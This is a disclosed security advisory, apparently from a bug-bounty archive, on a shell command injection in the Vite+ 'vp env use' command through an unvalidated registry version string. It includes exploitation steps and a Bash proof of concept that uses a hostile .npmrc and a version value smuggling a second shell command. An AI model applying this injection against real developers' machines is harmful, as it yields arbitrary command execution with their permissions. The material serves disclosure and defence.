# Vite+: Shell Command Injection via an Unvalidated Registry Version String

Vite+ `vp env use` interpolates an unvalidated registry-supplied version string into shell export statements, letting a hostile repo's .npmrc execute commands in the developer's shell.

- Payout: Research
- Severity: high
- Program: Vite+
- Found by: arkmarta
- Disclosed: 2026-12-01
- CVE: CVE-2026-137190
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p79r-mf8q-r78h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p79r-mf8q-r78h
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** Global `vp` CLI, `env use` command shell-integration output
**Root cause:** The version string returned by the registry's `latest` dist tag is interpolated directly into `export VAR=value` / `set -gx VAR value` shell statements with no quoting or escaping; the only validation on that path checks the integrity suffix, not the version.
**Steps:**
1. Load the documented shell integration so the wrapper evaluates `vp env use` output.
2. Serve a dist-tag lookup answering with payload version `1.0.0; echo VP_ENV_USE_INJECTION_CONFIRMED > "$VP_POC_MARKER" #`.
3. Ship `registry=<attacker>` in `hostile-repo/.npmrc`.
4. Run `( cd hostile-repo && vp env use pnpm --no-install )`.
5. Observe the marker file written, confirming command execution.
**How found:** Noticed the shell-statement builder uses direct interpolation with no quoting in any shell arm, then traced the value back to the registry `latest` dist-tag reply and found validation exists on the cache and install paths but not on the shell-printing path.
**Exploitation:** Attacker publishes a cloned repo containing an `.npmrc` pointing at their registry; when the victim runs `vp env use <pm> --no-install` with shell integration loaded, the registry's `latest` reply is interpolated unquoted into the export statement the wrapper evals, executing arbitrary commands with the developer's permissions (read/write files, modify shell startup files).
**Insight:** When a CLI prints shell code for a wrapper to eval, audit every interpolation site for quoting per shell dialect, and check whether the value's validation is applied on all paths — here the same string was validated in cache and install code but not the one path that reaches a shell.

## Proof of concept (copied exactly from the original report)

**Bash PoC with hostile .npmrc and payload version**

```
PAYLOAD='1.0.0; echo VP_ENV_USE_INJECTION_CONFIRMED > "$VP_POC_MARKER" #'
printf 'registry=%s\n' "$REG" > hostile-repo/.npmrc
( cd hostile-repo && vp env use pnpm --no-install )
cat "$VP_POC_MARKER"
```

